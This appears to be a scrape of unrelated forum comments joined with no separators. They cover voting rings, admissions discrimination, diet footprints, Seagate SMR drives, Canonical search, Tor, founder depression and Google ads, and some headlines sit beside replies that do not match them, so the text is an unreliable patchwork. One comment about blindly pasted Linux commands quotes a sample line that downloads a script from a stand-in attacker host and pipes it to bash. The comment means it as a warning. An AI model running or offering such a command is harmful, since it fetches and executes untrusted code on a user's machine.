I do have heard of voting rings, yes, of course. However, just because an idea which you dont like is upvoted, doesnt mean its a voting ring.

edit: I also find it kinda interesting that an account which is 25minutes old talks about voting rings

There's a big difference between the discrimination against Asian-American students (which does happen) and discrimination against students from Asia. For one, public universities exist mostly to educate people from the state they are based, and can justify discriminating against people outside the state and even more against people who don't live in states which exchange students with that state (i.e. people outside the country).

Private universities can also say that one of their main purposes is to educate the population of the countries that they are based in.

None of this justifies discriminating against Asian-American students, which is truly unjust, and shouldn't be confused for justifiable discrimination.

"He's very clear that eating a fully vegetarian diet now is worse, footprint-wise, that eating a mildly omnivorous one."

I don't think the article ever mentions that point of view. This is the only time a similar argument is mentioned:

"Given the way we grow food today, it’s more accurate to say that vegetarian diets are “less awful,” not “better,” than omnivorous diets"

The only time a mention of an omnivorous diet being an improvement is under the constraint that produce is bought locally, perhaps at a farmer's market:

"A vegetarian who consumes whatever’s in the produce aisle of Wegmann’s is going to have a much larger eco-footprint than the plant-centric, meat-occasional omnivore who purchases exclusively from the local farmer’s market"

Frankly, that kind of consumer has to be in the extreme minority.

Apple rolls out its new file system in iOS 10.3 beta
Depends on what kind of peripheral you're talking about. If the OS supports it, and we have code to use that kind of device (e.g. joysticks, storage devices), then it should "just work." If you need to install Windows-only drivers to get your device to work, then it likely won't.

We do have a guy working on getting raw HID support to underlie our device handling, which will improve things like USB device support and may even eventually allow installing some Windows-only drivers. But we're not there yet.

Seagate FireCuda Compute Harddisks: SMR with PMR Heads/Media?
A few weeks ago, I read an article at StorageReview (?) that the 2,5 inch Seagate FireCuda Compute hybrid disk drives are not using the classic PMR technology but Shingled magnetic recording (SMR). Initially however Seagate has stated that it is PMR in their tech specs.

In late November 2016 they updated their documentation at: http://www.seagate.com/www-content/product-content/seagate-laptop-fam/laptop-sshd/en-us/docs/100802299d.pdf

Quote of the Changelog for Revision D of the tech spec:
page 5: Add MTC bullet & change Perpendicular recording to SMR"

So I checked out all pages just to find on page 8 ( Recording and Interface Technology)
Recording method: Perpendicular

Surely they wrote in the changelog that they changes Page 5, so let's see what they wrote on page 5:

• Shingled magnetic recording with perpendicular magnetic recording heads/media.

Wait - What ?

Does that mean that Seagate can classify every SMR Drive as PMR now ?

This is pretty serious as there are still issues with using SMR drives on Linux Kernels higher that 3.19 (Search for: Seagate Archive 8TB HDD and Linux).

Also it would be far more transparent for the buyer to know that SMR drives are having hard times getting large write jobs.

Does anyone with more technical depth with ("SMR" vs. "PMR" vs "SMR on PMR Heads/Media") can clear these things up ?
In the past few weeks the idea of 'legitimatizing violence' has been circulating heavily. On my Facebook feed most of it has centered on the idea that it is "okay" to punch neo-nazis now. The people saying this are people I'd never expect to. Twitter is similar. I wish I had stats on whether the legitimatization meme is really rising. To me, it looks like the fake news meme. Suddenly it's everywhere.
There's a german saying: "It did happen and therefore it can happen again". That could be extended to "It did happen, and therefore it could happen anywhere".

I'm also reminded of Hannah Arendt's theory of the "banality of evil". She basically warned against considering the Holocaust as the result of a singular set of circumstances, describing it instead as a process of many steps, by many (often unremarkable) people, with each step small enough not to trigger significant reactions.

The US is obviously still far, far away from death camps. But the changes in what is politically accepted are already gigantic if you step back. That's a process that has been going on since long before Trump, maybe since Nixon or at the very least GWB. And it includes not just the federal government but also, for example, recent developments in North Carolina.

As a somewhat tangential factoid, that may help to break the shell of the Nazi-cliche and give it back some meaning: I was recently at a festival in Poland and, in the midst of the usual atmosphere created by the beats of electronic music and the somewhat unusual diet that goes with it, I stumbled upon a plaque commemorating the place as the site of "a concentration camp for children aged 6 to 12". You really start to wonder: how much has to happen to a person until they get to the thought, "yeah, those 6 to 12 year olds, we really need to do something about them"?
> It is almost universally true that violence has been necessary to ensure the redistribution of wealth at any point in time

Strictly speaking, you don't need to redistribute wealth to lower inequality. Destroying wealth is sufficient. Violence and war is pretty good at that.

You find off-topic strawman arguments constructed against "people like the author" interesting and relevant?
The issues I've mentioned (problems dealing with self-signed certs, Cert pinning and EV-SSL) don't have much to do with the client being compromised. They're examples of how SSL MITM (even assuming no implementation flaws) can damage user security by breaking the operation of SSL for user web access.
No Ubuntu doesn't, and nor has it every done.

It connects on-line and off-line searches, so it shows you the result in on-line locations. The underlying assumption was that users increasingly see on-line and off-line content as all part of the same world ("their content").

The commercial aspect was that it connected to places like Amazon. It made money for Canonical by using affiliate links if the user chose to make a purchase.

That is not the same as collecting all the history of the user and (anonymising) then selling that to a third-party or presenting adverts based on that data.

The default is off as users felt searches by default connecting to external services was an invasion of privacy - that's different to "selling searches".

Frankly, this closed-off the last viable manner for desktop Linux to secure a wider revenue stream of sufficient size to drive employing enough full time developers to keep up with the other platforms, in my personal opinion. FOSS doesn't change the dynamic that full-time developers cost real money.

Source: I worked at Canonical from the early days of the desktop, for ~10 years.
There's a bit of pre-setup. I'll make sure we have DreamCompute in the installer out of the box soon.

I'm pretty sure it wasn't 80% of the Desktop market. More likely 90%+ according to what I could find, with MacOS being in the 3-4 percent and Linux at less than 1%.

And yeah, sure, you could run OS/2 or even BeOS, but these never reached statistically significant penetration.

Just as today you can run Sailfish, or Cyanogen/Lineage, etc... the latter supposedly has a market share of 3% or so. Better than BeOS, Linux, etc... in 2001.
The "fix" to this problem is not to let your browser hook Ctrl+C. Mozilla, if you're listening, could you perhaps make this an option? Or perhaps display a notice if you notice JS hook on Ctrl+C?
Brian Christian did a Long Now Foundation talk about algorithms that you can apply to life. One point he made was (roughly) to find a good life partner follow this advice: until the age of 26 date as many people as you can (as in, have a relationship - not just Tinder dates). After the age of 26, marry the next person you date that is better than the best person you dated before 26.

I don't think I agree with it - but it seems like far more useful dating advice than what this guy is trying to achieve. Select from the pool of people who are also attracted to you - not all people.
> If Trump's draft executive order had said something like "permanent ban of all Muslims" then I have no doubts people would start protesting immediately.

It's useful to look at what Hannah Arendt said about the Nazis.

Many in the Dutch hacker scene would never work for the Dutch government (at least, the more sensitive parts such as intelligence agencies, police, etc.).

Not only is Tinder's schtick super cringey, using it requires sharing extremely intimate details about yourself and life with Facebook. Some people might not regard it as being worth the moral hazard and information leak.

On the other hand, if you're already publishing cringey articles about your love life, perhaps the calculus shifts.

Note the article's from 1999.
trump stated that he's going to crack down on illegals and fix the legal immigration nightmare. If you read the article someone who comes here illegally seems to get preference over those who come legally. The system is currently screwed up and has been for a while.
Louis Chauvel, a french sociology professor, made a similar argument using a Prey-Predatory model with trade union membership and income inequality over the last 100 years :

"This article shows empirically how trade union membership and income inequality are mutually related in twelve countries over more than 100 years. While past research has shown that high income inequality occurs alongside low trade union membership, we show that past income inequality actually increases trade union membership with a time lag, as trade unions recruit more members after inequality has been high. But we also show that strengthened trade unions then fight inequality, thereby destroying what helped them to recruit new members in the past. As trade union density decreases, inequality increases and eventually re-incentivises workers to join unions again. By showing this empirically, we reconceptualise the relationship between inequality and union density as a prey and predator model, where predators eat prey – unions destroy inequality, but thereby also destroy their own basis for survival. By empirically showing that trade union density and social inequality influence each other in this way over long periods, this article contributes to a dynamic approach on how social problems and social movements interact."

I feel that we are not exactly the target audience for this kind of tip. Linux forums are full of code snippets that people blindly copy and paste so this is clearly an extended behavior

In any case, most newbies wouldn't even understand whether a command is malicious or not (e.g. `wget http://hax0r.com/exploit.sh; bash exploit.sh`), but I wouldn't say the tip is worthless...
If the rumor is that it's being used to refuel satellites, there are two considerations:

1. Can it get to many satellites? Yes, it has good delta V, though I think you're mixing the X-37's delta V with its boosters and the delta V of the Shuttle orbiter without its SRBs and external tank.

2. Can it carry fuel for those satellites? No, not much. The X-37 has a maximum total takeoff weight of 5000 kg, while the Shuttle can get 27000 kg to LEO. Unfortunately, only one X-37 will fit in the payload bay of the Shuttle, so we can't actually lift five X-37s in the Shuttle.

Many large satellites weigh more than the X-37's total mass. The biggest individual consumer, the ISS, requires about 7000 kg of fuel annually to stay in orbit. A KC-135 in-air refueling tanker is much faster than an oceangoing supertanker, but you wouldn't use the former to empty an oil rig!
That's exactly it. His suggestion is a heuristic that is good 80% of the time. But if you can't check for the other 20% that the processing is bad, why not avoid?

Even if we follow his guidelines most of the time, fewer exceptions means fewer dietary risks.

Tor is a huge inconvenience to a government that wants to suppress the exchange of controversial ideas within the civilian population.

It is also a huge problem to a government struggling to halt, for instance, Islamic terrorists that are well established within that population and potentially use Tor for communication.

I think this is a case of the latter and I don't disagree with the sentiment 100%. The region faces some substantial challenges and we're going to see civil liberties erode.
Angular 1.5, Tornado 4.2 & RethinkDB 2.3.5 for me. Tornado coroutines play beautifully with Rethink queries and change feeds. I've also got a proprietary C++ framework in the middle tier, so some of the server processes are C++ Python hybrids. Fortunately Tornado makes it easy to dispatch events into the C++ code via a think wrapper built in Python's C++.

Seconded. Suicide and depression is all too often swept under the carpet as being too hard to deal with, or some sort of taboo, even in these enlightened times.

We hear too much of the "overnight success zillionaires who came out of nowhere with a killer web app" or the couple of 14 year old kids who coded a mobile game in their spare time and now make $50K per day on the app stores.

But what we don't hear for every one of those is the thousands who slog away, burn through their life savings, run out of mortgage options and feel the frustration of building something with zero customers - just like Dennis did in the lead up to this terrible event.

When all you hear is the good stuff, and you are struggling, then it can seem like the problem is entirely YOU, and the abject feelings of failure are strong indeed.

But speaking to others who are running the same grind, you suddenly realise that you are NOT alone, and you are NOT doing everything wrong. There still may be no easy solution, but the problems shared are indeed problems halved.

Ask me how I know? I've been there and back several times. It is not nice.

It often irks me when people say things like "Google sells all of your data to advertisers and you are the product!"

Not because there are no potential issues to discuss around ad-funded free services and data aggregation, but more because it's like clickbait (in that it oversimplifies a complex issue for emotional effect and makes discussion of actual issues more difficult).

Using algorithms to build a general profile in order to increase relevance is not the same as "selling your data". They sell access to your eyeballs in much the same way as a broadcast TV station or free alt-weekly does. The main difference is that by getting some sense of who you are and what you might be interested in, they can decrease (in theory) the amount of irrelevant ads that end up on your screen versus the traditional methods of just blanketing things with general ads or using cruder demographic info.

Lots of companies flat-out do sell your data, either in aggregate and somewhat anonymized or in full. I've not found anything yet that leads me to believe this is how Google runs their advertising business. To this day, my main concern with Google isn't so much with Google as it is with a malicious third party somehow gaining access to the info Google has on me.

It seems to me more like a technical detail whether you are no longer mentioning a topic because you removed it from the previous website or whether you replaced the whole website. In the end the topic is gone in both cases. You can admittedly draw somewhat different conclusions in both cases, in the former case they wanted to see the topic gone, in the later case they may just have forgotten to include the topic.

Anyway flagging the comment seems a needless harsh reaction, reply with a comment pointing out the facts or maybe downvote it if you really believe the comment was made in bad faith.
